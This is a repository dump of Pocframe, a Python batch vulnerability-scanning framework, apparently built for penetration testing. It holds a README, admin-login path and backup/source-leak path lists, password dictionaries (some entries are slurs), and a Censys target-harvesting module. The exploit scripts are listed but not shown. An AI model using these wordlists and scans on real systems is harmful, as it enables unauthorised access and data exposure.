├── .gitignore ├── README.md ├── data ├── cobalt-strike.txt ├── login_path.txt ├── pass100.txt ├── pass1000.txt ├── source_leak_check_payload.txt └── user-agents.txt ├── doc ├── img1.png ├── img2.png └── img3.png ├── lib ├── __init__.py ├── api │ ├── __init__.py │ ├── censys │ │ ├── __init__.py │ │ └── censys.py │ ├── fofa │ │ ├── __init__.py │ │ └── fofa.py │ ├── shodan │ │ ├── __init__.py │ │ └── shodan.py │ └── zoomeye │ │ ├── __init__.py │ │ └── zoomeye.py ├── controller │ ├── __init__.py │ ├── engine.py │ └── loader.py ├── core │ ├── Request.py │ ├── __init__.py │ ├── common.py │ ├── data.py │ ├── datatype.py │ ├── enums.py │ ├── log.py │ ├── option.py │ └── setting.py ├── parse │ ├── __init__.py │ └── cmdline.py └── utils │ ├── __init__.py │ ├── config.py │ └── console.py ├── plugin ├── __init__.py ├── random_ua.py └── target_parse.py ├── pocframe.py ├── requirement.txt ├── scripts ├── Apache-Flink-Web-Dashboard-RCE.py ├── CVE-2020-8813.py ├── coremail_source_leak.py ├── csbrute.py ├── cve-2020-0796.py ├── cve-2020-1938.py ├── discuz_rce.py ├── fastadmin_weak.py ├── fw_oa_rce.py ├── fw_sql.py ├── mongodb_unauth.py ├── phpstudy_backdoor.py ├── redis_unauth.py ├── seeyon.py ├── source_leak_check.py ├── test.py ├── thinkcmf_shell.py ├── thinkphp_rce.py ├── tongda_rce.py ├── unauth.py ├── weblogic_2019_48814.py ├── weblogic_ssrf.py ├── weblogic_weak_pass.py ├── weblogic_xmldecoder_exec.py └── wp_social_warfare_rce.py └── thirdlib ├── __init__.py └── colorama ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── win32.py └── winterm.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | output/ 4 | test.txt 5 | *.conf 6 | test.conf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pocframe 2 | [](https://www.python.org/) [](https://github.com/r0ckysec/pocframe)  3 | 4 | Pocframe是在[Saucerframe](https://github.com/saucer-man/saucerframe)项目的基础上进行修改,它是一个基于python3的开源批量POC检测框架,默认使用协程异步请求,支持多线程并发,支持多种指定目标方式,可用于批量POC检测,也可根据需要扩展功能。 5 | 6 | **本项目用来交流学习,切勿用来做违法之事** 7 | 8 | # 内容 9 | 10 | - 支持多线程并发/协程 11 | - 指定目标支持多种方式 12 | - 指定单个目标 13 | - 从文本种获取目标 14 | - 某一网段获取目标 e.g. 192.168.1.0/24 15 | - 某一ip段获取目标 192.168.1.0-192.168.2.33 16 | - 支持多种api批量获取目标: [Shodan](https://www.shodan.io/)、[Zoomeye](https://www.zoomeye.org/)、[Fofa](https://fofa.so)、[Censys](https://censys.io) 17 | - 支持全局代理(socks5|socks4|http) 18 | 19 | # 使用 20 | 21 | 安装方法: 22 | ```shell 23 | git clone https://github.com/r0ckysec/pocframe.git 24 | cd pocframe 25 | pip3 install -r requirement.txt 26 | ``` 27 | 28 | 使用方法: 29 | ```shell 30 | python3 pocframe.py -h 31 | python3 pocframe.py --show 32 | python3 pocframe.py -s poc -iU target-url # 单个POC检测 33 | python3 pocframe.py -s * -iU target-url # 加载所有POC检测 34 | ``` 35 | 36 | 具体的参数说明: 37 | ``` 38 | # 1. 指定poc脚本(必需,支持同时指定多个poc) 39 | -s poc1,poc2,poc3 40 | 41 | # 2. 指定目标(必需) 42 | -iU www.xxx.com 单个目标 43 | -iF target.txt 从文本中加载 44 | -iR 192.168.1.1-192.168.2.100 根据ip地址范围加载 45 | -iN 192.168.1.0/24 根据网段加载 46 | -aZ "redis" ZoomEye api加载 47 | -aS "redis" Shodan api加载 48 | -aC "redis" Censys api加载 49 | -aF "redis" Fofa api加载 50 | 51 | # 3. 其他(可选) 52 | -h 查看帮助信息 53 | -t 300 并发数(默认100) 54 | --proxy socks5://127.0.0.1:1080 使用sock5代理 55 | -o result.txt 指定输出文件 56 | -v 4 指定终端输出详细级别(1-5, 默认为2) 57 | --show 查看所有poc 58 | -eT 并发采用多线程方式 59 | -eG 并发采用协程方式(默认) 60 | ``` 61 | 62 | ***实例*** 63 | 64 | `python3 pocframe.py -h` 65 | 66 |  67 | 68 | `python3 pocframe.py --show` 69 | 70 |  71 | 72 | `python3 pocframe.py -s * -iU baidu.com` 73 | 74 |  75 | 76 | 77 | # POC编写 78 | 79 | 介绍已移至[wiki](https://github.com/r0ckysec/pocframe/wiki) 80 | 81 | 82 | # References 83 | 84 | - [POC-T](https://github.com/Xyntax/POC-T) 85 | - [Saucerframe](https://github.com/saucer-man/saucerframe) 86 | -------------------------------------------------------------------------------- /data/cobalt-strike.txt: -------------------------------------------------------------------------------- 1 | 123456 -------------------------------------------------------------------------------- /data/login_path.txt: -------------------------------------------------------------------------------- 1 | admin/default/login.asp 2 | admin/login.asp 3 | admin/manage/login.asp 4 | admin_login/login.asp 5 | admincp/login.asp 6 | administrator/login.asp 7 | login.asp 8 | manage/login.asp 9 | manager/login.asp 10 | member/login.asp 11 | admin-login.php 12 | admin/admin-login.php 13 | admin/admin_login.php 14 | admin/login.php 15 | admin2/login.php 16 | admin_area/login.php 17 | admin_login.php 18 | adminarea/login.php 19 | admincontrol/login.php 20 | administrator/login.php 21 | administratorlogin.php 22 | adminlogin.php 23 | autologin.php 24 | bb-admin/login.php 25 | blog/wp-login.php 26 | checklogin.php 27 | login.php 28 | modelsearch/login.php 29 | moderator/login.php 30 | nsw/admin/login.php 31 | pages/admin/admin-login.php 32 | panel-administracion/login.php 33 | processlogin.php 34 | rcjakar/admin/login.php 35 | relogin.php 36 | siteadmin/login.php 37 | sqlbuddy/login.php 38 | userlogin.php 39 | usuarios/login.php 40 | webadmin/login.php 41 | wp-login.php 42 | account/login.jsp 43 | accounts/login.jsp 44 | admin/login.jsp 45 | auth/login.jsp 46 | jsp/extension/login.jsp 47 | login.jsp 48 | member/login.jsp 49 | members/login.jsp 50 | portalAppAdmin/login.jsp 51 | admin.jsp 52 | netadmin.jsp 53 | admin.php 54 | admin.php3 55 | admin/admin.php 56 | admin_area/admin.php 57 | adminarea/admin.php 58 | authadmin.php 59 | bb-admin/admin.php 60 | checkadmin.php 61 | cmsadmin.php 62 | dbadmin.php 63 | fileadmin.php 64 | isadmin.php 65 | linusadmin-phpinfo.php 66 | memberadmin.php 67 | moadmin.php 68 | modelsearch/admin.php 69 | moderator/admin.php 70 | panel-administracion/admin.php 71 | phpliteadmin.php 72 | siteadmin.php 73 | sysadmin.php 74 | tmp/admin.php 75 | ur-admin.php 76 | user/admin.php 77 | users/admin.php 78 | webadmin.php 79 | webadmin/admin.php 80 | wp-content/plugins/akismet/admin.php 81 | admin.asp 82 | admin.aspx 83 | admin/default/admin.asp 84 | admin/manage/admin.asp 85 | admin_login/admin.asp 86 | administrator/admin.asp 87 | article/admin/admin.asp 88 | denglu/admin.asp 89 | guanli/admin.asp 90 | houtai/admin.asp 91 | login/admin/admin.asp 92 | manage/admin.asp 93 | manager/admin.asp 94 | member/admin.asp 95 | admin/logon.jsp 96 | admin/secure/logon.jsp 97 | compass/logon.jsp 98 | logon.jsp 99 | logon/logon.jsp -------------------------------------------------------------------------------- /data/pass100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /data/pass1000.txt: -------------------------------------------------------------------------------- 1 | password 2 | 123456 3 | 12345678 4 | 1234 5 | qwerty 6 | 12345 7 | dragon 8 | pussy 9 | baseball 10 | football 11 | letmein 12 | monkey 13 | 696969 14 | abc123 15 | mustang 16 | michael 17 | shadow 18 | master 19 | jennifer 20 | 111111 21 | 2000 22 | jordan 23 | superman 24 | harley 25 | 1234567 26 | fuckme 27 | hunter 28 | fuckyou 29 | trustno1 30 | ranger 31 | buster 32 | thomas 33 | tigger 34 | robert 35 | soccer 36 | fuck 37 | batman 38 | test 39 | pass 40 | killer 41 | hockey 42 | george 43 | charlie 44 | andrew 45 | michelle 46 | love 47 | sunshine 48 | jessica 49 | asshole 50 | 6969 51 | pepper 52 | daniel 53 | access 54 | 123456789 55 | 654321 56 | joshua 57 | maggie 58 | starwars 59 | silver 60 | william 61 | dallas 62 | yankees 63 | 123123 64 | ashley 65 | 666666 66 | hello 67 | amanda 68 | orange 69 | biteme 70 | freedom 71 | computer 72 | sexy 73 | thunder 74 | nicole 75 | ginger 76 | heather 77 | hammer 78 | summer 79 | corvette 80 | taylor 81 | fucker 82 | austin 83 | 1111 84 | merlin 85 | matthew 86 | 121212 87 | golfer 88 | cheese 89 | princess 90 | martin 91 | chelsea 92 | patrick 93 | richard 94 | diamond 95 | yellow 96 | bigdog 97 | secret 98 | asdfgh 99 | sparky 100 | cowboy 101 | camaro 102 | anthony 103 | matrix 104 | falcon 105 | iloveyou 106 | bailey 107 | guitar 108 | jackson 109 | purple 110 | scooter 111 | phoenix 112 | aaaaaa 113 | morgan 114 | tigers 115 | porsche 116 | mickey 117 | maverick 118 | cookie 119 | nascar 120 | peanut 121 | justin 122 | 131313 123 | money 124 | horny 125 | samantha 126 | panties 127 | steelers 128 | joseph 129 | snoopy 130 | boomer 131 | whatever 132 | iceman 133 | smokey 134 | gateway 135 | dakota 136 | cowboys 137 | eagles 138 | chicken 139 | dick 140 | black 141 | zxcvbn 142 | please 143 | andrea 144 | ferrari 145 | knight 146 | hardcore 147 | melissa 148 | compaq 149 | coffee 150 | booboo 151 | bitch 152 | johnny 153 | bulldog 154 | xxxxxx 155 | welcome 156 | james 157 | player 158 | ncc1701 159 | wizard 160 | scooby 161 | charles 162 | junior 163 | internet 164 | bigdick 165 | mike 166 | brandy 167 | tennis 168 | blowjob 169 | banana 170 | monster 171 | spider 172 | lakers 173 | miller 174 | rabbit 175 | enter 176 | mercedes 177 | brandon 178 | steven 179 | fender 180 | john 181 | yamaha 182 | diablo 183 | chris 184 | boston 185 | tiger 186 | marine 187 | chicago 188 | rangers 189 | gandalf 190 | winter 191 | bigtits 192 | barney 193 | edward 194 | raiders 195 | porn 196 | badboy 197 | blowme 198 | spanky 199 | bigdaddy 200 | johnson 201 | chester 202 | london 203 | midnight 204 | blue 205 | fishing 206 | 000000 207 | hannah 208 | slayer 209 | 11111111 210 | rachel 211 | sexsex 212 | redsox 213 | thx1138 214 | asdf 215 | marlboro 216 | panther 217 | zxcvbnm 218 | arsenal 219 | oliver 220 | qazwsx 221 | mother 222 | victoria 223 | 7777777 224 | jasper 225 | angel 226 | david 227 | winner 228 | crystal 229 | golden 230 | butthead 231 | viking 232 | jack 233 | iwantu 234 | shannon 235 | murphy 236 | angels 237 | prince 238 | cameron 239 | girls 240 | madison 241 | wilson 242 | carlos 243 | hooters 244 | willie 245 | startrek 246 | captain 247 | maddog 248 | jasmine 249 | butter 250 | booger 251 | angela 252 | golf 253 | lauren 254 | rocket 255 | tiffany 256 | theman 257 | dennis 258 | liverpoo 259 | flower 260 | forever 261 | green 262 | jackie 263 | muffin 264 | turtle 265 | sophie 266 | danielle 267 | redskins 268 | toyota 269 | jason 270 | sierra 271 | winston 272 | debbie 273 | giants 274 | packers 275 | newyork 276 | jeremy 277 | casper 278 | bubba 279 | 112233 280 | sandra 281 | lovers 282 | mountain 283 | united 284 | cooper 285 | driver 286 | tucker 287 | helpme 288 | fucking 289 | pookie 290 | lucky 291 | maxwell 292 | 8675309 293 | bear 294 | suckit 295 | gators 296 | 5150 297 | 222222 298 | shithead 299 | fuckoff 300 | jaguar 301 | monica 302 | fred 303 | happy 304 | hotdog 305 | tits 306 | gemini 307 | lover 308 | xxxxxxxx 309 | 777777 310 | canada 311 | nathan 312 | victor 313 | florida 314 | 88888888 315 | nicholas 316 | rosebud 317 | metallic 318 | doctor 319 | trouble 320 | success 321 | stupid 322 | tomcat 323 | warrior 324 | peaches 325 | apples 326 | fish 327 | qwertyui 328 | magic 329 | buddy 330 | dolphins 331 | rainbow 332 | gunner 333 | 987654 334 | freddy 335 | alexis 336 | braves 337 | cock 338 | 2112 339 | 1212 340 | cocacola 341 | xavier 342 | dolphin 343 | testing 344 | bond007 345 | member 346 | calvin 347 | voodoo 348 | 7777 349 | samson 350 | alex 351 | apollo 352 | fire 353 | tester 354 | walter 355 | beavis 356 | voyager 357 | peter 358 | porno 359 | bonnie 360 | rush2112 361 | beer 362 | apple 363 | scorpio 364 | jonathan 365 | skippy 366 | sydney 367 | scott 368 | red123 369 | power 370 | gordon 371 | travis 372 | beaver 373 | star 374 | jackass 375 | flyers 376 | boobs 377 | 232323 378 | zzzzzz 379 | steve 380 | rebecca 381 | scorpion 382 | doggie 383 | legend 384 | ou812 385 | yankee 386 | blazer 387 | bill 388 | runner 389 | birdie 390 | bitches 391 | 555555 392 | parker 393 | topgun 394 | asdfasdf 395 | heaven 396 | viper 397 | animal 398 | 2222 399 | bigboy 400 | 4444 401 | arthur 402 | baby 403 | private 404 | godzilla 405 | donald 406 | williams 407 | lifehack 408 | phantom 409 | dave 410 | rock 411 | august 412 | sammy 413 | cool 414 | brian 415 | platinum 416 | jake 417 | bronco 418 | paul 419 | mark 420 | frank 421 | heka6w2 422 | copper 423 | billy 424 | cumshot 425 | garfield 426 | willow 427 | cunt 428 | little 429 | carter 430 | slut 431 | albert 432 | 69696969 433 | kitten 434 | super 435 | jordan23 436 | eagle1 437 | shelby 438 | america 439 | 11111 440 | jessie 441 | house 442 | free 443 | 123321 444 | chevy 445 | bullshit 446 | white 447 | broncos 448 | horney 449 | surfer 450 | nissan 451 | 999999 452 | saturn 453 | airborne 454 | elephant 455 | marvin 456 | shit 457 | action 458 | adidas 459 | qwert 460 | kevin 461 | 1313 462 | explorer 463 | walker 464 | police 465 | christin 466 | december 467 | benjamin 468 | wolf 469 | sweet 470 | therock 471 | king 472 | online 473 | dickhead 474 | brooklyn 475 | teresa 476 | cricket 477 | sharon 478 | dexter 479 | racing 480 | penis 481 | gregory 482 | 0000 483 | teens 484 | redwings 485 | dreams 486 | michigan 487 | hentai 488 | magnum 489 | 87654321 490 | nothing 491 | donkey 492 | trinity 493 | digital 494 | 333333 495 | stella 496 | cartman 497 | guinness 498 | 123abc 499 | speedy 500 | buffalo 501 | kitty 502 | pimpin 503 | eagle 504 | einstein 505 | kelly 506 | nelson 507 | nirvana 508 | vampire 509 | xxxx 510 | playboy 511 | louise 512 | pumpkin 513 | snowball 514 | test123 515 | girl 516 | sucker 517 | mexico 518 | beatles 519 | fantasy 520 | ford 521 | gibson 522 | celtic 523 | marcus 524 | cherry 525 | cassie 526 | 888888 527 | natasha 528 | sniper 529 | chance 530 | genesis 531 | hotrod 532 | reddog 533 | alexande 534 | college 535 | jester 536 | passw0rd 537 | bigcock 538 | smith 539 | lasvegas 540 | carmen 541 | slipknot 542 | 3333 543 | death 544 | kimberly 545 | 1q2w3e 546 | eclipse 547 | 1q2w3e4r 548 | stanley 549 | samuel 550 | drummer 551 | homer 552 | montana 553 | music 554 | aaaa 555 | spencer 556 | jimmy 557 | carolina 558 | colorado 559 | creative 560 | hello1 561 | rocky 562 | goober 563 | friday 564 | bollocks 565 | scotty 566 | abcdef 567 | bubbles 568 | hawaii 569 | fluffy 570 | mine 571 | stephen 572 | horses 573 | thumper 574 | 5555 575 | pussies 576 | darkness 577 | asdfghjk 578 | pamela 579 | boobies 580 | buddha 581 | vanessa 582 | sandman 583 | naughty 584 | douglas 585 | honda 586 | matt 587 | azerty 588 | 6666 589 | shorty 590 | money1 591 | beach 592 | loveme 593 | 4321 594 | simple 595 | poohbear 596 | 444444 597 | badass 598 | destiny 599 | sarah 600 | denise 601 | vikings 602 | lizard 603 | melanie 604 | assman 605 | sabrina 606 | nintendo 607 | water 608 | good 609 | howard 610 | time 611 | 123qwe 612 | november 613 | xxxxx 614 | october 615 | leather 616 | bastard 617 | young 618 | 101010 619 | extreme 620 | hard 621 | password1 622 | vincent 623 | pussy1 624 | lacrosse 625 | hotmail 626 | spooky 627 | amateur 628 | alaska 629 | badger 630 | paradise 631 | maryjane 632 | poop 633 | crazy 634 | mozart 635 | video 636 | russell 637 | vagina 638 | spitfire 639 | anderson 640 | norman 641 | eric 642 | cherokee 643 | cougar 644 | barbara 645 | long 646 | 420420 647 | family 648 | horse 649 | enigma 650 | allison 651 | raider 652 | brazil 653 | blonde 654 | jones 655 | 55555 656 | dude 657 | drowssap 658 | jeff 659 | school 660 | marshall 661 | lovely 662 | 1qaz2wsx 663 | jeffrey 664 | caroline 665 | franklin 666 | booty 667 | molly 668 | snickers 669 | leslie 670 | nipples 671 | courtney 672 | diesel 673 | rocks 674 | eminem 675 | westside 676 | suzuki 677 | daddy 678 | passion 679 | hummer 680 | ladies 681 | zachary 682 | frankie 683 | elvis 684 | reggie 685 | alpha 686 | suckme 687 | simpson 688 | patricia 689 | 147147 690 | pirate 691 | tommy 692 | semperfi 693 | jupiter 694 | redrum 695 | freeuser 696 | wanker 697 | stinky 698 | ducati 699 | paris 700 | natalie 701 | babygirl 702 | bishop 703 | windows 704 | spirit 705 | pantera 706 | monday 707 | patches 708 | brutus 709 | houston 710 | smooth 711 | penguin 712 | marley 713 | forest 714 | cream 715 | 212121 716 | flash 717 | maximus 718 | nipple 719 | bobby 720 | bradley 721 | vision 722 | pokemon 723 | champion 724 | fireman 725 | indian 726 | softball 727 | picard 728 | system 729 | clinton 730 | cobra 731 | enjoy 732 | lucky1 733 | claire 734 | claudia 735 | boogie 736 | timothy 737 | marines 738 | security 739 | dirty 740 | admin 741 | wildcats 742 | pimp 743 | dancer 744 | hardon 745 | veronica 746 | fucked 747 | abcd1234 748 | abcdefg 749 | ironman 750 | wolverin 751 | remember 752 | great 753 | freepass 754 | bigred 755 | squirt 756 | justice 757 | francis 758 | hobbes 759 | kermit 760 | pearljam 761 | mercury 762 | domino 763 | 9999 764 | denver 765 | brooke 766 | rascal 767 | hitman 768 | mistress 769 | simon 770 | tony 771 | bbbbbb 772 | friend 773 | peekaboo 774 | naked 775 | budlight 776 | electric 777 | sluts 778 | stargate 779 | saints 780 | bondage 781 | brittany 782 | bigman 783 | zombie 784 | swimming 785 | duke 786 | qwerty1 787 | babes 788 | scotland 789 | disney 790 | rooster 791 | brenda 792 | mookie 793 | swordfis 794 | candy 795 | duncan 796 | olivia 797 | hunting 798 | blink182 799 | alicia 800 | 8888 801 | samsung 802 | bubba1 803 | whore 804 | virginia 805 | general 806 | passport 807 | aaaaaaaa 808 | erotic 809 | liberty 810 | arizona 811 | jesus 812 | abcd 813 | newport 814 | skipper 815 | rolltide 816 | balls 817 | happy1 818 | galore 819 | christ 820 | weasel 821 | 242424 822 | wombat 823 | digger 824 | classic 825 | bulldogs 826 | poopoo 827 | accord 828 | popcorn 829 | turkey 830 | jenny 831 | amber 832 | bunny 833 | mouse 834 | 007007 835 | titanic 836 | liverpool 837 | dreamer 838 | everton 839 | friends 840 | chevelle 841 | carrie 842 | gabriel 843 | psycho 844 | nemesis 845 | burton 846 | pontiac 847 | connor 848 | eatme 849 | lickme 850 | roland 851 | cumming 852 | mitchell 853 | ireland 854 | lincoln 855 | arnold 856 | spiderma 857 | patriots 858 | goblue 859 | devils 860 | eugene 861 | empire 862 | asdfg 863 | cardinal 864 | brown 865 | shaggy 866 | froggy 867 | qwer 868 | kawasaki 869 | kodiak 870 | people 871 | phpbb 872 | light 873 | 54321 874 | kramer 875 | chopper 876 | hooker 877 | honey 878 | whynot 879 | lesbian 880 | lisa 881 | baxter 882 | adam 883 | snake 884 | teen 885 | ncc1701d 886 | qqqqqq 887 | airplane 888 | britney 889 | avalon 890 | sandy 891 | sugar 892 | sublime 893 | stewart 894 | wildcat 895 | raven 896 | scarface 897 | elizabet 898 | 123654 899 | trucks 900 | wolfpack 901 | pervert 902 | lawrence 903 | raymond 904 | redhead 905 | american 906 | alyssa 907 | bambam 908 | movie 909 | woody 910 | shaved 911 | snowman 912 | tiger1 913 | chicks 914 | raptor 915 | 1969 916 | stingray 917 | shooter 918 | france 919 | stars 920 | madmax 921 | kristen 922 | sports 923 | jerry 924 | 789456 925 | garcia 926 | simpsons 927 | lights 928 | ryan 929 | looking 930 | chronic 931 | alison 932 | hahaha 933 | packard 934 | hendrix 935 | perfect 936 | service 937 | spring 938 | srinivas 939 | spike 940 | katie 941 | 252525 942 | oscar 943 | brother 944 | bigmac 945 | suck 946 | single 947 | cannon 948 | georgia 949 | popeye 950 | tattoo 951 | texas 952 | party 953 | bullet 954 | taurus 955 | sailor 956 | wolves 957 | panthers 958 | japan 959 | strike 960 | flowers 961 | pussycat 962 | chris1 963 | loverboy 964 | berlin 965 | sticky 966 | marina 967 | tarheels 968 | fisher 969 | russia 970 | connie 971 | wolfgang 972 | testtest 973 | mature 974 | bass 975 | catch22 976 | juice 977 | michael1 978 | nigger 979 | 159753 980 | women 981 | alpha1 982 | trooper 983 | hawkeye 984 | head 985 | freaky 986 | dodgers 987 | pakistan 988 | machine 989 | pyramid 990 | vegeta 991 | katana 992 | moose 993 | tinker 994 | coyote 995 | infinity 996 | inside 997 | pepsi 998 | letmein1 999 | bang 1000 | control -------------------------------------------------------------------------------- /data/source_leak_check_payload.txt: -------------------------------------------------------------------------------- 1 | .git/config 2 | .svn/entries 3 | .hg 4 | WEB-INF/web.xml 5 | 2015.zip 6 | 2015.rar 7 | 2015.gz 8 | 2015.tar.gz 9 | 2015.sql 10 | 2016.zip 11 | 2016.rar 12 | 2016.gz 13 | 2016.tar.gz 14 | 2016.sql 15 | 2017.zip 16 | 2017.rar 17 | 2017.gz 18 | 2017.tar.gz 19 | 2017.sql 20 | 2018.zip 21 | 2018.rar 22 | 2018.gz 23 | 2018.tar.gz 24 | 2018.sql 25 | 2019.zip 26 | 2019.rar 27 | 2019.gz 28 | 2019.tar.gz 29 | 2019.sql 30 | web.zip 31 | web.rar 32 | web.gz 33 | web.tar.gz 34 | web.sql 35 | oa.zip 36 | oa.rar 37 | oa.gz 38 | oa.tar.gz 39 | oa.sql 40 | bbs.zip 41 | bbs.rar 42 | bbs.gz 43 | bbs.tar.gz 44 | bbs.sql 45 | a.zip 46 | a.rar 47 | a.gz 48 | a.tar.gz 49 | a.sql 50 | www.zip 51 | www.rar 52 | www.gz 53 | www.tar.gz 54 | www.sql 55 | admin.zip 56 | admin.rar 57 | admin.gz 58 | admin.tar.gz 59 | admin.sql 60 | 1.zip 61 | 1.rar 62 | 1.gz 63 | 1.tar.gz 64 | 1.sql 65 | 123.zip 66 | 123.rar 67 | 123.gz 68 | 123.tar.gz 69 | 123.sql 70 | back.zip 71 | back.rar 72 | back.gz 73 | back.tar.gz 74 | back.sql 75 | backup.zip 76 | backup.rar 77 | backup.gz 78 | backup.tar.gz 79 | backup.sql 80 | beifen.zip 81 | beifen.rar 82 | beifen.gz 83 | beifen.tar.gz 84 | beifen.sql 85 | data.zip 86 | data.rar 87 | data.gz 88 | data.tar.gz 89 | data.sql 90 | test.zip 91 | test.rar 92 | test.gz 93 | test.tar.gz 94 | test.sql 95 | website.zip 96 | website.rar 97 | website.gz 98 | website.tar.gz 99 | website.sql 100 | wangzhan.zip 101 | wangzhan.rar 102 | wangzhan.gz 103 | wangzhan.tar.gz 104 | wangzhan.sql 105 | wwwroot.zip 106 | wwwroot.rar 107 | wwwroot.gz 108 | wwwroot.tar.gz 109 | wwwroot.sql 110 | database.zip 111 | database.rar 112 | database.gz 113 | database.tar.gz 114 | database.sql 115 | htdocs.zip 116 | htdocs.rar 117 | htdocs.gz 118 | htdocs.tar.gz 119 | htdocs.sql 120 | bak.zip 121 | bak.rar 122 | bak.gz 123 | bak.tar.gz 124 | bak.sql 125 | db.zip 126 | db.rar 127 | db.gz 128 | db.tar.gz 129 | db.sql 130 | ftp.zip 131 | ftp.rar 132 | ftp.gz 133 | ftp.tar.gz 134 | ftp.sql 135 | root.zip 136 | root.rar 137 | root.gz 138 | root.tar.gz 139 | root.sql 140 | html.zip 141 | html.rar 142 | html.gz 143 | html.tar.gz 144 | html.sql -------------------------------------------------------------------------------- /doc/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img1.png -------------------------------------------------------------------------------- /doc/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img2.png -------------------------------------------------------------------------------- /doc/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img3.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/censys/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/lib/api/censys/__init__.py -------------------------------------------------------------------------------- /lib/api/censys/censys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from lib.core.Request import request 10 | import sys 11 | import time 12 | import json 13 | from lib.core.common import colorprint 14 | from lib.utils.config import ConfigFileParser 15 | from lib.core.data import paths, conf 16 | 17 | API_URL = "https://censys.io/api/v1" 18 | 19 | 20 | def can_auto_login(): 21 | if UID and SECRET: 22 | try: 23 | res = request.get(API_URL + "/data", auth=(UID, SECRET), timeout = 10) 24 | if res.status_code != 200: 25 | raise SystemExit 26 | else: 27 | return True 28 | except: 29 | return False 30 | else: 31 | return False 32 | 33 | 34 | def get_ip(query, page): 35 | ''' 36 | Return ips and total amount when doing query 37 | ''' 38 | data = { 39 | "query": query, 40 | "page": page, 41 | "fields": ["ip", "protocols"] 42 | } 43 | 44 | try: 45 | res = request.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)) 46 | results = res.json() 47 | 48 | if res.status_code != 200: 49 | colorprint.red("error occurred: %s" % results["error"]) 50 | sys.exit(1) 51 | 52 | # add result in some specific form 53 | for result in results["results"]: 54 | conf.target.add(result["ip"]) 55 | 56 | except Exception as e: 57 | colorprint.red(e) 58 | 59 | 60 | def handle_censys(query, limit, offset): 61 | global UID 62 | global SECRET 63 | UID = ConfigFileParser().censys_UID() 64 | SECRET = ConfigFileParser().censys_SECRET() 65 | msg = '[+] Trying to login with credentials in config file: {}.' .format(paths.CONFIG_PATH) 66 | colorprint.green(msg) 67 | if not can_auto_login(): 68 | err_msg = '[-] Automatic authorization failed.\n[*] Please input your censys API Key (https://censys.io/account/api).' 69 | colorprint.cyan(err_msg) 70 | UID = input('[*] UID > ').strip() 71 | SECRET = input('[*] SECRET > ').strip() 72 | if not can_auto_login(): 73 | err_msg = "[-] authorization failed" 74 | colorprint.red(err_msg) 75 | sys.exit() 76 | 77 | page_start = int(offset/100) + 1 78 | page_stop = page_start + int(limit/100) + 1 79 | 80 | for page in range(page_start, page_stop): 81 | get_ip(query, page) 82 | 83 | # the last loop dont need sleep 84 | if page < page_stop - 1: 85 | time.sleep(3) 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /lib/api/fofa/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- 